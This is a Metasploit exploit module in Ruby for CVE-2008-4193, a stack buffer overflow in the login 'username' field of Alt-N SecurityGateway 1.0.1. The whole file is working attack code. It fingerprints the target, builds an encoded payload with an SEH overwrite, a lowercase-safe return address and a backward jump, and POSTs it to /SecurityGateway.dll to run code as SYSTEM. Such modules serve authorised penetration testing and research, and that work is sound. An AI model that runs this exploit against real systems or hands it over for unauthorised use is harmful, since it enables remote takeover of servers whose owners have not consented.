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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  # XXX: Automatic targetting used HttpFingerprint = { :uri => '/SecurityGateway.dll', :pattern => [ /SecurityGateway / ] }
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Alt-N SecurityGateway username Buffer Overflow',
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      'Description'    => %q{
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          Alt-N SecurityGateway is prone to a buffer overflow condition. This
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        is due to insufficient bounds checking on the "username"
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        parameter. Successful exploitation could result in code
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        execution with SYSTEM level privileges.
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        NOTE: This service doesn't restart, you'll only get one shot. However,
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        it often survives a successful exploitation attempt.
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      },
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      'Author'         => [ 'jduck' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2008-4193' ],
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          [ 'OSVDB', '45854' ],
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          [ 'BID', '29457']
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 476,
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          # note: 0xd7 might not be translated, but w/e
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          'BadChars' => "\x00" + ((0x40..0x5a).to_a + [ 0x8a, 0x8c, 0x8e, 0x9f ] + (0xc0..0xdf).to_a).pack('C*'),
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          'StackAdjustment' => -3500,
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          'EncoderType' => Msf::Encoder::Type::SingleStaticBit,
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          'EncoderOptions' =>
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            {
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              'BitNumber' => 0x5,
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              'BitValue' => true,
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            }
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Automatic Targeting', { } ],
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          # NOTE: the return address must be tolower() safe
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          [ 'SecurityGateway 1.0.1 Universal', { 'Ret' => 0x6767756f }], # p/p/r in XceedZip.dll 4.5.77.0
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2008-06-02'))
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    register_options(
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      [
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        Opt::RPORT(4000)
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      ])
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  end
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  # Identify the target based on the SecurityGateway version number
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  def auto_target
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    info = http_fingerprint({ :uri => '/SecurityGateway.dll' })  # automatic targetting
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    if (info =~ /SecurityGateway (1\..*)$/)
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      case $1
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      when /1\.0\.1/
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        return self.targets[1]
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      end
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    end
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    # Not vulnerable
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    nil
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  end
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  def check
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    if auto_target
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      Exploit::CheckCode::Appears
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    end
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    Exploit::CheckCode::Safe
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  end
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  def exploit
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    # handle auto-targeting
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    mytarget = target
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    if target.name =~ /Automatic/
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      print_status("Attempting to automatically select a target...")
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      mytarget = auto_target
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      if mytarget.nil?
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        fail_with(Failure::NoTarget, "Unable to automatically select a target")
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      end
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      print_status("Automatically selected target \"#{mytarget.name}\"")
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    end
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    # the buffer gets CharLowerBuff()'d and passed to:
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    # sprintf(str, "Attempt to login with invalid user name %s from %s", buf, ip_str);
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    sploit = payload.encoded
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    sploit << generate_seh_record(mytarget.ret)
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    distance = payload_space + 8
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    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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    sploit = Rex::Text.to_hex(sploit, '%')
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    sploit << rand_text_alphanumeric(512)
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    post_data = 'RequestedPage=login'
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    post_data << '&username=' << sploit
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    post_data << '&passwd=world'
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    print_status("Sending request...")
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    res = send_request_cgi({
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      'uri'          => '/SecurityGateway.dll',
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      'method'       => 'POST',
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      'content-type' => 'application/x-www-form-urlencoded',
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      'data'         => post_data,
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    }, 5)
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    handler
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  end
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end
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